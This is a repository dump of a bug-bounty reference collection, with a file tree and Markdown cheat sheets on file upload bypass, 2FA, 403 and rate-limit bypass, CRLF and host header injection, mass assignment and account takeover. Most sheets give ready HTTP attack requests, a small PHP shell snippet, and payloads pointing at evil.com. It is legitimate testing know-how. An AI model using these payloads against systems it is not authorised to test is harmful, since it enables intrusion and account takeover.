├── .gitignore
├── CompleteBugBounty
├── Arbitrary File Upload.md
├── Business Logic Errors.md
├── Bypass
│ ├── Bypass 2FA.md
│ ├── Bypass 304.md
│ ├── Bypass 403.md
│ ├── Bypass 429.md
│ ├── Bypass CSRF.md
│ └── Bypass Captcha.md
├── CRLF Injection.md
├── Checklist
│ └── Forgot Password.md
├── Cross Site Request Forgery.md
├── Cross Site Scripting.md
├── Denial Of Service.md
├── Exposed Source Code.md
├── Host Header Injection.md
├── Insecure Direct Object References.md
├── Local File Inclusion.md
├── Mass Assignment.md
├── Misc
│ ├── Account Takeover.md
│ ├── Broken Link Hijacking.md
│ ├── Default Credentials
│ ├── Email Spoofing.md
│ ├── Exposed API keys.md
│ ├── JWT Vulnerabilities.md
│ └── Tabnabbing.md
├── NoSQL Injection.md
├── OAuth Misconfiguration.md
├── Open Redirect.md
├── README.md
├── Reconnaissance
│ ├── Github Dorks.md
│ ├── Google Dorks.md
│ ├── Scope.md
│ └── Shodan Dorks.md
├── Remote File Inclusion.md
├── SQL Injection.md
├── Server Side Request Forgery.md
├── Technologies
│ ├── Apache HTTP Server.md
│ ├── Confluence.md
│ ├── Grafana.md
│ ├── HAProxy.md
│ ├── Jenkins.md
│ ├── Jira.md
│ ├── Joomla.md
│ ├── Laravel.md
│ ├── Moodle.md
│ ├── Nginx.md
│ ├── WordPress.md
│ └── Zend.md
└── Web Cache Poisoning.md
├── LICENSE
├── README.md
├── code-of-conduct.md
├── contributing.md
├── cross-site-request-forgery
└── xss-payload-list
│ ├── Intruder
│ └── xss-payload-list.txt
│ ├── LICENSE
│ └── README.md
├── cross-site-scripting
└── xss-payload-list
│ ├── Intruder
│ └── xss-payload-list.txt
│ ├── LICENSE
│ └── README.md
├── csv-injection
└── csv-injection-payloads
│ ├── Intruder
│ └── csv-payload.txt
│ ├── LICENSE
│ └── README.md
├── directory-traversal
└── directory-payload-list
│ ├── Intruder
│ ├── default
│ │ ├── big-1.txt
│ │ ├── big.txt
│ │ ├── common.txt
│ │ ├── directory-list-1.0.txt
│ │ ├── directory-list-2.3-medium.txt
│ │ ├── directory-list-2.3-small.txt
│ │ ├── directory-list-lowercase-2.3-medium.txt
│ │ ├── directory-list-lowercase-2.3-small.txt
│ │ └── small.txt
│ ├── drupal
│ │ ├── drupal_plugins.fuzz.txt
│ │ └── drupal_themes.fuzz.txt
│ ├── joomla
│ │ ├── joomla.txt
│ │ ├── joomla_plugins.fuzz.txt
│ │ └── joomla_themes.fuzz.txt
│ ├── sap
│ │ ├── sap.fuzz.txt
│ │ ├── sap.txt
│ │ ├── sap_common.txt
│ │ ├── sap_default.txt
│ │ └── sap_icm_paths.txt
│ ├── sharepoint
│ │ ├── sharepoint-1.txt
│ │ ├── sharepoint-2.txt
│ │ └── sharepoint.fuzz.txt
│ ├── tomcat
│ │ ├── apachetomcat.fuzz.txt
│ │ ├── tomcat-1.txt
│ │ └── tomcat-2.txt
│ ├── weblogic
│ │ ├── weblogic-1.txt
│ │ ├── weblogic-2.txt
│ │ └── weblogic.fuzz.txt
│ ├── websphere
│ │ ├── websphere-1.txt
│ │ ├── websphere-2.txt
│ │ └── websphere.fuzz.txt
│ └── wordpress
│ │ ├── wordpress.fuzz.txt
│ │ └── wordpress_detector.txt
│ ├── LICENSE
│ ├── README.md
│ └── img
│ └── directory-image.jpg
├── file-upload-vulnerabilities
├── How to Exploit File Upload Vulnerabilities (and How to Fix Them!) we45 Blogs.pdf
└── file-upload.md
├── http-host-header-injection
├── HTTP-Host-Header-Injection.md
└── Host-Header-Attack-Test
│ ├── Host-Header-Vulnerability-Detection.py
│ ├── LICENSE
│ ├── README.md
│ ├── crawler.py
│ ├── mycrawler.txt
│ ├── requirements.txt
│ ├── results
│ └── New Text Document.txt
│ └── sitepath.txt
├── jwt-authentication
└── json-web-tokens-introduction
│ ├── CONTRIBUTING.md
│ ├── LICENSE
│ ├── Procfile
│ ├── README-zh_CN.md
│ ├── README.md
│ ├── example
│ ├── lib
│ │ └── helpers.js
│ ├── server.js
│ ├── test
│ │ ├── functional.js
│ │ ├── integration.js
│ │ └── mock.js
│ └── views
│ │ ├── fail.html
│ │ ├── index.html
│ │ └── restricted.html
│ └── package.json
├── local-remote-file-inclusion
└── rfi-lfi-payload-list
│ ├── LICENSE
│ ├── README.md
│ └── img
│ └── rfi-lfi.jpeg
├── oauth-authentication
└── learn-json-web-tokens-master
│ ├── README.md
│ ├── api
│ ├── jsconfig.json
│ ├── nodemon.json
│ ├── package-lock.json
│ ├── package.json
│ └── src
│ │ ├── index.js
│ │ ├── modules
│ │ ├── common
│ │ │ └── errors.js
│ │ ├── note
│ │ │ ├── index.js
│ │ │ ├── model.js
│ │ │ ├── mutation
│ │ │ │ ├── index.js
│ │ │ │ ├── remove.js
│ │ │ │ └── save.js
│ │ │ └── query
│ │ │ │ ├── index.js
│ │ │ │ └── list.js
│ │ └── user
│ │ │ ├── index.js
│ │ │ ├── model.js
│ │ │ ├── mutation
│ │ │ ├── authorize
│ │ │ │ ├── azure.js
│ │ │ │ ├── bitbucket.js
│ │ │ │ ├── digitalocean.js
│ │ │ │ ├── discord.js
│ │ │ │ ├── facebook.js
│ │ │ │ ├── github.js
│ │ │ │ ├── gitlab.js
│ │ │ │ ├── google.js
│ │ │ │ ├── index.js
│ │ │ │ ├── instagram.js
│ │ │ │ ├── linkedin.js
│ │ │ │ ├── reddit.js
│ │ │ │ ├── shopify.js
│ │ │ │ ├── spotify.js
│ │ │ │ ├── twitter.js
│ │ │ │ └── zoom.js
│ │ │ └── index.js
│ │ │ └── query
│ │ │ ├── authResponse.js
│ │ │ ├── index.js
│ │ │ └── profile.js
│ │ └── setup
│ │ ├── config
│ │ ├── env.js
│ │ └── params.js
│ │ ├── helpers
│ │ ├── utils.js
│ │ └── validation.js
│ │ └── server
│ │ ├── authentication.js
│ │ ├── database.js
│ │ ├── endpoint.js
│ │ ├── middlewares.js
│ │ ├── modules.js
│ │ └── start.js
│ └── web
│ ├── jsconfig.json
│ ├── package-lock.json
│ ├── package.json
│ ├── public
│ ├── favicon.ico
│ ├── images
│ │ ├── loader.gif
│ │ ├── other
│ │ │ ├── shopify.svg
│ │ │ └── spotify.svg
│ │ ├── preview.png
│ │ ├── social
│ │ │ ├── discord.svg
│ │ │ ├── facebook.svg
│ │ │ ├── google.svg
│ │ │ ├── instagram.svg
│ │ │ ├── linkedin.svg
│ │ │ ├── reddit.svg
│ │ │ ├── twitter.svg
│ │ │ └── zoom.svg
│ │ └── tech
│ │ │ ├── azure.svg
│ │ │ ├── bitbucket.svg
│ │ │ ├── digitalocean.svg
│ │ │ ├── github.svg
│ │ │ └── gitlab.svg
│ ├── index.html
│ ├── logo192.png
│ ├── logo512.png
│ ├── manifest.json
│ └── robots.txt
│ └── src
│ ├── index.js
│ ├── modules
│ ├── common
│ │ ├── AuthCheck
│ │ │ └── index.js
│ │ ├── Footer
│ │ │ ├── index.js
│ │ │ └── style.css
│ │ ├── Header
│ │ │ ├── index.js
│ │ │ └── style.css
│ │ ├── Layout
│ │ │ ├── index.js
│ │ │ └── style.css
│ │ └── RoutePrivate
│ │ │ └── index.js
│ ├── note
│ │ ├── List
│ │ │ ├── index.js
│ │ │ └── style.css
│ │ └── api
│ │ │ └── actions
│ │ │ ├── mutation
│ │ │ ├── index.js
│ │ │ ├── remove.js
│ │ │ └── save.js
│ │ │ └── query
│ │ │ ├── index.js
│ │ │ └── list.js
│ ├── pages
│ │ ├── Authorize
│ │ │ ├── index.js
│ │ │ └── style.css
│ │ └── Home
│ │ │ ├── index.js
│ │ │ └── style.css
│ └── user
│ │ ├── Dashboard
│ │ ├── index.js
│ │ └── style.css
│ │ ├── Profile
│ │ ├── index.js
│ │ └── style.css
│ │ └── api
│ │ ├── actions
│ │ ├── mutation
│ │ │ ├── authorize.js
│ │ │ └── index.js
│ │ ├── query
│ │ │ ├── index.js
│ │ │ ├── loginSetUser.js
│ │ │ ├── loginSetUserLocalStorage.js
│ │ │ ├── logout.js
│ │ │ ├── logoutUnsetUserLocalStorage.js
│ │ │ └── profile.js
│ │ └── types.js
│ │ └── state
│ │ ├── auth.js
│ │ └── index.js
│ ├── serviceWorker.js
│ ├── setup
│ ├── config
│ │ ├── env.js
│ │ └── params.js
│ ├── oauth
│ │ ├── azure.js
│ │ ├── bitbucket.js
│ │ ├── digitalocean.js
│ │ ├── discord.js
│ │ ├── facebook.js
│ │ ├── github.js
│ │ ├── gitlab.js
│ │ ├── google.js
│ │ ├── instagram.js
│ │ ├── linkedin.js
│ │ ├── reddit.js
│ │ ├── shopify.js
│ │ ├── spotify.js
│ │ ├── twitter.js
│ │ └── zoom.js
│ ├── routes.js
│ └── store.js
│ └── ui
│ ├── Button
│ ├── index.js
│ └── style.css
│ ├── Input
│ ├── index.js
│ └── style.css
│ └── common
│ ├── colors.css
│ └── reset.css
├── open-redirect
└── open-redirect-payload-list
│ ├── LICENSE
│ └── README.md
├── os-command-injection
└── command-injection-payload-list
│ ├── LICENSE
│ └── README.md
├── server-side-request-forgery
└── ssti-payloads
│ ├── Intruder
│ └── ssti-payloads.txt
│ ├── LICENSE
│ └── README.md
├── sql-injection
└── sql-injection-payload-list
│ ├── Image
│ └── sql-injection.svg
│ ├── Intruder
│ ├── detect
│ │ ├── GenericBlind.txt
│ │ ├── Generic_ErrorBased.txt
│ │ ├── Generic_SQLI.txt
│ │ ├── Generic_TimeBased.txt
│ │ ├── Generic_UnionSelect.txt
│ │ ├── MSSQL
│ │ │ ├── MSSQL.txt
│ │ │ └── MSSQL_blind.txt
│ │ ├── MySQL
│ │ │ ├── MySQL.txt
│ │ │ └── MySQL_MSSQL.txt
│ │ ├── NoSQL
│ │ │ └── no-sql.txt
│ │ ├── Oracle
│ │ │ └── oracle.txt
│ │ └── xPlatform
│ │ │ └── xplatform.txt
│ ├── exploit
│ │ ├── Auth_Bypass.txt
│ │ ├── DB2
│ │ │ └── db2-enumeration.txt
│ │ ├── MSSQL
│ │ │ └── ms-sql-enumeration.txt
│ │ ├── MySQL
│ │ │ ├── mysql-injection-login-bypass.txt
│ │ │ └── mysql-read-local-files.txt
│ │ └── PostgresSQL
│ │ │ └── postgres-enumeration.txt
│ └── payloads-sql-blind
│ │ ├── MSSQL
│ │ ├── payloads-sql-blind-MSSQL-INSERT.txt
│ │ └── payloads-sql-blind-MSSQL-WHERE.txt
│ │ └── MySQL
│ │ ├── payloads-sql-blind-MySQL-INSERT.txt
│ │ ├── payloads-sql-blind-MySQL-ORDER_BY.txt
│ │ └── payloads-sql-blind-MySQL-WHERE.txt
│ ├── LICENSE
│ └── README.md
└── xml-external-entity-xxe-injection
└── xxe-injection-payload-list
├── Image
└── xxe-injection.jpg
├── Intruder
└── xxe-injection-payload-list.txt.txt
├── LICENSE
└── README.md
/.gitignore:
--------------------------------------------------------------------------------
1 | # Prerequisites
2 | *.d
3 |
4 | # Compiled Object files
5 | *.slo
6 | *.lo
7 | *.o
8 | *.obj
9 |
10 | # Precompiled Headers
11 | *.gch
12 | *.pch
13 |
14 | # Compiled Dynamic libraries
15 | *.so
16 | *.dylib
17 | *.dll
18 |
19 | # Fortran module files
20 | *.mod
21 | *.smod
22 |
23 | # Compiled Static libraries
24 | *.lai
25 | *.la
26 | *.a
27 | *.lib
28 |
29 | # Executables
30 | *.exe
31 | *.out
32 | *.app
33 |
--------------------------------------------------------------------------------
/CompleteBugBounty/Arbitrary File Upload.md:
--------------------------------------------------------------------------------
1 | # Arbitrary File Upload
2 |
3 | ## Introduction
4 | An arbitrary file upload vulnerability is a type of security flaw that allows an attacker to upload malicious files onto a server.
5 |
6 | ## Where to find
7 | In upload file feature, for example upload photo profile feature
8 |
9 | ## How to exploit
10 | 1. Change the `Content-Type` value
11 | ```
12 | POST /images/upload/ HTTP/1.1
13 | Host: target.com
14 | ...
15 |
16 | ---------------------------829348923824
17 | Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
18 | Content-Type: application/x-php
19 | ```
20 | Change the Content-Type
21 | ```
22 | POST /images/upload/ HTTP/1.1
23 | Host: target.com
24 | ...
25 |
26 | ---------------------------829348923824
27 | Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
28 | Content-Type: image/jpeg
29 | ```
30 |
31 | 2. Try to change the extension when send the request, for example in here you cant upload file with ext php but you can upload jpg file
32 | ```
33 | POST /images/upload/ HTTP/1.1
34 | Host: target.com
35 | ...
36 |
37 | ---------------------------829348923824
38 | Content-Disposition: form-data; name="uploaded"; filename="dapos.php.jpg"
39 | Content-Type: application/x-php
40 | ```
41 | Change the request to this
42 | ```
43 | POST /images/upload/ HTTP/1.1
44 | Host: target.com
45 | ...
46 |
47 | ---------------------------829348923824
48 | Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
49 | Content-Type: application/x-php
50 | ```
51 |
52 | 3. Upload the payload, but start with GIF89a; and
53 | ```
54 | POST /images/upload/ HTTP/1.1
55 | Host: target.com
56 | ...
57 |
58 | ---------------------------829348923824
59 | Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
60 | Content-Type: image/gif
61 |
62 | GIF89a;
63 | ```
64 | And dont forget to change the content-type to image/gif
65 |
66 | 4. Bypass content length validation, it can be bypassed using small payload
67 | ```
68 | (=`$_GET[x]`?>)
69 | ```
70 |
71 | 5. Using null byte in filename
72 | ```
73 | file.php%00.gif
74 | ```
75 |
76 | 6. Using double extensions for the uploaded file
77 | ```
78 | file.jpg.php
79 | ```
80 |
81 | 7. Uploading an unpopular php extensions (php4,php5,php6,phtml)
82 | ```
83 | file.php5
84 | ```
85 |
86 | 8. Try to randomly capitalizes the file extension
87 | ```
88 | file.pHP5
89 | ```
90 |
91 | 9. Mix the tips!
92 |
--------------------------------------------------------------------------------
/CompleteBugBounty/Bypass/Bypass 2FA.md:
--------------------------------------------------------------------------------
1 | # Bypass Two-Factor Authentication
2 |
3 | 1. Response manipulation
4 |
5 | The response is
6 | ```
7 | HTTP/1.1 404 Not Found
8 | ...
9 | {"code": false}
10 | ```
11 | Try this to bypass
12 | ```
13 | HTTP/1.1 404 Not Found
14 | ...
15 | {"code": true}
16 | ```
17 |
18 | 2. Status code manipulation
19 |
20 | The response is
21 | ```
22 | HTTP/1.1 404 Not Found
23 | ...
24 | {"code": false}
25 | ```
26 | Try this to bypass
27 | ```
28 | HTTP/1.1 200 OK
29 | ...
30 | {"code": false}
31 | ```
32 |
33 | 3. 2FA Code in Response
34 |
35 | Always check the response!
36 | ```
37 | POST /req-2fa/
38 | Host: vuln.com
39 | ...
40 | email=victim@gmail.com
41 | ```
42 | The response is
43 | ```
44 | HTTP/1.1 200 OK
45 | ...
46 | {"email": "victim@gmail.com", "code": "101010"}
47 | ```
48 |
49 | 4. JS Files may contain info about the 2FA Code (Rare case)
50 |
51 | 5. Bruteforce the 2FA code
52 |
53 | 6. Missing 2FA Code integrity validation, code for any user account can be used
54 | ```
55 | POST /2fa/
56 | Host: vuln.com
57 | ...
58 | email=attacker@gmail.com&code=382923
59 | ```
60 | ```
61 | POST /2fa/
62 | Host: vuln.com
63 | ...
64 | email=victim@gmail.com&code=382923
65 | ```
66 |
67 | 7. No CSRF protection on disabling 2FA, also there is no auth confirmation.
68 |
69 | 8. 2FA gets disabled on password change/email change.
70 |
71 | 9. Clickjacking on 2FA disabling page, by iframing the 2FA Disabling page and lure the victim to disable the 2FA.
72 |
73 | 10. Enabling 2FA doesn't expire previously active sessions, if the session is already hijacked and there is a session timeout vuln.
74 |
75 | 11. 2FA code reusability, same code can be reused.
76 |
77 | 12. Enter code 000000
78 | ```
79 | POST /2fa/
80 | Host: vuln.com
81 | ...
82 | code=00000
83 | ```
84 |
85 | 13. Enter code "null"
86 | ```
87 | POST /2fa/
88 | Host: vuln.com
89 | ...
90 | code=null
91 | ```
92 |
93 | ## References
94 | * [Harsh Bothra](https://twitter.com/harshbothra_)
95 | * Other writeup
--------------------------------------------------------------------------------
/CompleteBugBounty/Bypass/Bypass 304.md:
--------------------------------------------------------------------------------
1 | # Bypass 304 (Not Modified)
2 |
3 | 1. Delete "If-None-Match" header
4 | ```
5 | GET /admin HTTP/1.1
6 | Host: target.com
7 | If-None-Match: W/"32-IuK7rSIJ92ka0c92kld"
8 | ```
9 | Try this to bypass
10 | ```
11 | GET /admin HTTP/1.1
12 | Host: target.com
13 | ```
14 |
15 | 2. Adding random character in the end of "If-None-Match" header
16 | ```
17 | GET /admin HTTP/1.1
18 | Host: target.com
19 | If-None-Match: W/"32-IuK7rSIJ92ka0c92kld"
20 | ```
21 | Try this to bypass
22 | ```
23 | GET /admin HTTP/1.1
24 | Host: target.com
25 | Host: target.com
26 | If-None-Match: W/"32-IuK7rSIJ92ka0c92kld" b
27 | ```
28 |
29 | ## References
30 | * [https://anggigunawan17.medium.com/tips-bypass-etag-if-none-match-e1f0e650a521](https://anggigunawan17.medium.com/tips-bypass-etag-if-none-match-e1f0e650a521)
31 |
--------------------------------------------------------------------------------
/CompleteBugBounty/Bypass/Bypass 403.md:
--------------------------------------------------------------------------------
1 | # Bypass 403 (Forbidden)
2 |
3 | 1. Using "X-Original-URL" header
4 | ```
5 | GET /admin HTTP/1.1
6 | Host: target.com
7 | ```
8 | Try this to bypass
9 | ```
10 | GET /anything HTTP/1.1
11 | Host: target.com
12 | X-Original-URL: /admin
13 | ```
14 |
15 | 2. Appending **%2e** after the first slash
16 | ```
17 | http://target.com/admin => 403
18 | ```
19 | Try this to bypass
20 | ```
21 | http://target.com/%2e/admin => 200
22 | ```
23 |
24 | 3. Try add dot (.) slash (/) and semicolon (;) in the URL
25 | ```
26 | http://target.com/admin => 403
27 | ```
28 | Try this to bypass
29 | ```
30 | http://target.com/secret/. => 200
31 | http://target.com//secret// => 200
32 | http://target.com/./secret/.. => 200
33 | http://target.com/;/secret => 200
34 | http://target.com/.;/secret => 200
35 | http://target.com//;//secret => 200
36 | ```
37 |
38 | 4. Add "..;/" after the directory name
39 | ```
40 | http://target.com/admin
41 | ```
42 | Try this to bypass
43 | ```
44 | http://target.com/admin..;/
45 | ```
46 |
47 |
48 | 5. Try to uppercase the alphabet in the url
49 | ```
50 | http://target.com/admin
51 | ```
52 | Try this to bypass
53 | ```
54 | http://target.com/aDmIN
55 | ```
56 |
57 | 6. Via Web Cache Poisoning
58 | ```
59 | GET /anything HTTP/1.1
60 | Host: victim.com
61 | X-Original-URL: /admin
62 | ```
63 |
64 | ## Tools
65 | * [Bypass-403 | Go script for bypassing 403 forbidden](https://github.com/daffainfo/bypass-403)
66 |
67 | ## References
68 | - [@iam_j0ker](https://twitter.com/iam_j0ker)
69 | - [Hacktricks](https://book.hacktricks.xyz/pentesting/pentesting-web)
70 |
--------------------------------------------------------------------------------
/CompleteBugBounty/Bypass/Bypass 429.md:
--------------------------------------------------------------------------------
1 | # Bypass 429 (Too Many Requests)
2 |
3 | 1. Try add some custom header
4 | ```
5 | X-Forwarded-For : 127.0.0.1
6 | X-Forwarded-Host : 127.0.0.1
7 | X-Client-IP : 127.0.0.1
8 | X-Remote-IP : 127.0.0.1
9 | X-Remote-Addr : 127.0.0.1
10 | X-Host : 127.0.0.1
11 | ```
12 | For example:
13 | ```
14 | POST /ForgotPass.php HTTP/1.1
15 | Host: target.com
16 | X-Forwarded-For : 127.0.0.1
17 | ...
18 |
19 | email=victim@gmail.com
20 | ```
21 |
22 | 2. Adding Null Byte ( %00 ) or CRLF ( %09, %0d, %0a ) at the end of the Email can bypass rate limit.
23 | ```
24 | POST /ForgotPass.php HTTP/1.1
25 | Host: target.com
26 | ...
27 |
28 | email=victim@gmail.com%00
29 | ```
30 |
31 | 3. Try changing user-agents, cookies and IP address
32 | ```
33 | POST /ForgotPass.php HTTP/1.1
34 | Host: target.com
35 | Cookie: xxxxxxxxxx
36 | ...
37 |
38 | email=victim@gmail.com
39 | ```
40 | Try this to bypass
41 | ```
42 | POST /ForgotPass.php HTTP/1.1
43 | Host: target.com
44 | Cookie: aaaaaaaaaaaaa
45 | ...
46 |
47 | email=victim@gmail.com
48 | ```
49 |
50 | 4. Add a random parameter on the last endpoint
51 | ```
52 | POST /ForgotPass.php HTTP/1.1
53 | Host: target.com
54 | ...
55 |
56 | email=victim@gmail.com
57 | ```
58 | Try this to bypass
59 | ```
60 | POST /ForgotPass.php?random HTTP/1.1
61 | Host: target.com
62 | ...
63 |
64 | email=victim@gmail.com
65 | ```
66 |
67 | 5. Add space after the parameter value
68 | ```
69 | POST /api/forgotpass HTTP/1.1
70 | Host: target.com
71 | ...
72 |
73 | {"email":"victim@gmail.com"}
74 | ```
75 | Try this to bypass
76 | ```
77 | POST /api/forgotpass HTTP/1.1
78 | Host: target.com
79 | ...
80 |
81 | {"email":"victim@gmail.com "}
82 | ```
83 |
84 | ## References
85 | * [Huzaifa Tahir](https://huzaifa-tahir.medium.com/methods-to-bypass-rate-limit-5185e6c67ecd)
86 | * [Gupta Bless](https://gupta-bless.medium.com/rate-limiting-and-its-bypassing-5146743b16be)
--------------------------------------------------------------------------------
/CompleteBugBounty/Bypass/Bypass Captcha.md:
--------------------------------------------------------------------------------
1 | # Bypass Captcha (Google reCAPTCHA)
2 |
3 | 1. Try changing the request method, for example POST to GET
4 | ```
5 | POST / HTTP 1.1
6 | Host: target.com
7 | ...
8 |
9 | _RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123
10 | ```
11 |
12 | Change the method to GET
13 | ```
14 | GET /?_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123 HTTP 1.1
15 | Host: target.com
16 | ...
17 | ```
18 |
19 | 2. Try remove the value of the captcha parameter
20 | ```
21 | POST / HTTP 1.1
22 | Host: target.com
23 | ...
24 |
25 | _RequestVerificationToken=&_Username=daffa&_Password=test123
26 | ```
27 |
28 | 3. Try reuse old captcha token
29 | ```
30 | POST / HTTP 1.1
31 | Host: target.com
32 | ...
33 |
34 | _RequestVerificationToken=OLD_CAPTCHA_TOKEN&_Username=daffa&_Password=test123
35 | ```
36 |
37 | 4. Convert JSON data to normal request parameter
38 | ```
39 | POST / HTTP 1.1
40 | Host: target.com
41 | ...
42 |
43 | {"_RequestVerificationToken":"xxxxxxxxxxxxxx","_Username":"daffa","_Password":"test123"}
44 | ```
45 | Convert to normal request
46 | ```
47 | POST / HTTP 1.1
48 | Host: target.com
49 | ...
50 |
51 | _RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123
52 | ```
53 |
54 | 5. Try custom header to bypass captcha
55 | ```
56 | X-Originating-IP: 127.0.0.1
57 | X-Forwarded-For: 127.0.0.1
58 | X-Remote-IP: 127.0.0.1
59 | X-Remote-Addr: 127.0.0.1
60 | ```
61 |
62 | 6. Change some specific characters of the captcha parameter and see if it is possible to bypass the restriction.
63 | ```
64 | POST / HTTP 1.1
65 | Host: target.com
66 | ...
67 |
68 | _RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123
69 | ```
70 | Try this to bypass
71 | ```
72 | POST / HTTP 1.1
73 | Host: target.com
74 | ...
75 |
76 | _RequestVerificationToken=xxxdxxxaxxcxxx&_Username=daffa&_Password=test123
77 | ```
78 |
--------------------------------------------------------------------------------
/CompleteBugBounty/CRLF Injection.md:
--------------------------------------------------------------------------------
1 | # CRLF Injection
2 |
3 | ## Introduction
4 | A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
5 |
6 | ## Where to find
7 | It can be found anywhere, always check the request and response. Try to search for parameters that lead to redirects, you can see the response is (301, 302, 303, 307, 308).
8 |
9 | ## How to exploit
10 | 1. Basic payload
11 | ```
12 | https://example.com/?lang=en%0D%0ALocation:%20https://evil.com/
13 | ```
14 | The response is
15 | ```
16 | HTTP/1.1 200 OK
17 | Content-Type: text/html
18 | Date: Mon, 09 May 2016 14:47:29 GMT
19 | Set-Cookie: language=en
20 | Location: https://evil.com/
21 | ```
22 |
23 | 2. Double encode
24 | ```
25 | https://example.com/?lang=en%250D%250ALocation:%20https://evil.com/
26 | ```
27 |
28 | 3. Bypass unicode
29 | ```
30 | https://example.com/?lang=en%E5%98%8A%E5%98%8DLocation:%20https://evil.com/
31 | ```
32 |
33 | ## References
34 | * [@filedescriptor](https://blog.innerht.ml/twitter-crlf-injection/)
35 | * [EdOverflow](https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md)
--------------------------------------------------------------------------------
/CompleteBugBounty/Exposed Source Code.md:
--------------------------------------------------------------------------------
1 | # Exposed Source Code
2 |
3 | ## Introduction
4 | Source code intended to be kept server-side can sometimes end up being disclosed to users. Such code may contain sensitive information such as database passwords and secret keys, which may help malicious users formulate attacks against the application.
5 |
6 | ## Where to find
7 | `-`
8 |
9 | ## How to exploit
10 | 1. Exposed Git folder
11 | ```
12 | https://site.com/.git
13 | ```
14 | 
15 |
16 | Tools to dump .git
17 | * https://github.com/arthaud/git-dumper
18 |
19 | 2. Exposed Subversion folder
20 | ```
21 | https://site.com/.svn
22 | ```
23 | 
24 |
25 | Tools to dump .svn
26 | * https://github.com/anantshri/svn-extractor
27 |
28 | 3. Exposed Mercurial folder
29 | ```
30 | https://site.com/.hg
31 | ```
32 | 
33 |
34 | Tools to dump .hg
35 | * https://github.com/arthaud/hg-dumper
36 |
37 | 4. Exposed Bazaar folder
38 | ```
39 | http://target.com/.bzr
40 | ```
41 | 
42 |
43 | Tools to dump .bzr
44 | * https://github.com/shpik-kr/bzr_dumper
45 |
46 | 5. Exposed Darcs folder
47 | ```
48 | http://target.com/_darcs
49 | ```
50 |
51 | Tools to dump _darcs (Not found)
52 |
53 | 6. Exposed Bitkeeper folder
54 | ```
55 | http://target.com/Bitkeeper
56 | ```
57 |
58 | Tools to dump BitKeeper (Not found)
59 |
60 | ## Reference
61 | * [NakanoSec (my own post)](https://www.nakanosec.com/2020/02/exposed-source-code-pada-website.html)
62 |
--------------------------------------------------------------------------------
/CompleteBugBounty/Host Header Injection.md:
--------------------------------------------------------------------------------
1 | # Host Header Injection
2 |
3 | ## Introduction
4 | HTTP Host header attacks exploit vulnerable websites that handle the value of the Host header in an unsafe way. If the server implicitly trusts the Host header, and fails to validate or escape it properly, an attacker may be able to use this input to inject harmful payloads that manipulate server-side behavior. Attacks that involve injecting a payload directly into the Host header are often known as "Host header injection" attacks.
5 |
6 | ## Where to find
7 | In the feature where the website can send email to us. For example forgot password / newsletter.
8 |
9 | ## How to exploit
10 | 1. Change the host header
11 | ```
12 | GET /index.php HTTP/1.1
13 | Host: evil-website.com
14 | ...
15 | ```
16 | 2. Duplicating the host header
17 | ```
18 | GET /index.php HTTP/1.1
19 | Host: vulnerable-website.com
20 | Host: evil-website.com
21 | ...
22 | ```
23 | 3. Add line wrapping
24 | ```
25 | GET /index.php HTTP/1.1
26 | Host: vulnerable-website.com
27 | Host: evil-website.com
28 | ...
29 | ```
30 | 4. Add host override headers
31 | ```
32 | X-Forwarded-For: evil-website.com
33 | X-Forwarded-Host: evil-website.com
34 | X-Client-IP: evil-website.com
35 | X-Remote-IP: evil-website.com
36 | X-Remote-Addr: evil-website.com
37 | X-Host: evil-website.com
38 | ```
39 | How to use? In this case im using "X-Forwarded-For : evil.com"
40 | ```
41 | GET /index.php HTTP/1.1
42 | Host: vulnerable-website.com
43 | X-Forwarded-For : evil-website.com
44 | ...
45 | ```
46 | 5. Supply an absolute URL
47 | ```
48 | GET https://vulnerable-website.com/ HTTP/1.1
49 | Host: evil-website.com
50 | ...
51 | ```
52 |
53 | ## References
54 | * [PortSwigger](https://portswigger.net/web-security/host-header/exploiting)
55 |
--------------------------------------------------------------------------------
/CompleteBugBounty/Mass Assignment.md:
--------------------------------------------------------------------------------
1 | # Mass Assignment Attack
2 |
3 | ## Introduction
4 | Occurs when an app allows a user to manually add parameters in an HTTP Request & the app process value of these parameters when processing the HTTP Request & it affects the response that is returned to the user. Usually occurs in Ruby on Rails / NodeJS
5 |
6 | ## How to exploit
7 | - Normal request
8 | ```
9 | POST /editdata HTTP/1.1
10 | Host: target.com
11 | ...
12 |
13 | username=daffa
14 | ```
15 | The response
16 | ```
17 | HTTP/1.1 200 OK
18 | ...
19 |
20 | {"status":"success","username":"daffainfo","isAdmin":"false"}
21 | ```
22 |
23 | - Modified Request
24 | ```
25 | POST /editdata HTTP/1.1
26 | Host: target.com
27 | ...
28 |
29 | username=daffa&admin=true
30 | ```
31 |
32 | ```
33 | HTTP/1.1 200 OK
34 | ...
35 |
36 | {"status":"success","username":"daffainfo","isAdmin":"true"}
37 | ```
38 |
39 | ## References
40 | * [Pentester Academy](https://blog.pentesteracademy.com/hunting-for-mass-assignment-56ed73095eda)
--------------------------------------------------------------------------------
/CompleteBugBounty/Misc/Account Takeover.md:
--------------------------------------------------------------------------------
1 | # Account Takeover
2 |
3 | ## Introduction
4 | Account Takeover (known as ATO) is a type of identity theft where a bad actor gains unauthorized access to an account belonging to someone else.
5 |
6 | ## How to exploit
7 | 1. Using OAuth Misconfiguration
8 | - Victim has a account in evil.com
9 | - Attacker creates an account on evil.com using OAuth. For example the attacker have a facebook with a registered victim email
10 | - Attacker changed his/her email to victim email.
11 | - When the victim try to create an account on evil.com, it says the email already exists.
12 |
13 | 2. Try re-sign up using same email
14 | ```
15 | POST /newaccount HTTP/1.1
16 | ...
17 | email=victim@mail.com&password=1234
18 | ```
19 | After sign up using victim email, try signup again but using different password
20 | ```
21 | POST /newaccount HTTP/1.1
22 | ...
23 | email=victim@mail.com&password=hacked
24 | ```
25 |
26 | 3. via CSRF
27 | - Create an account as an attacker and fill all the form, check your info in the Account Detail.
28 | - Change the email and capture the request, then created a CSRF Exploit.
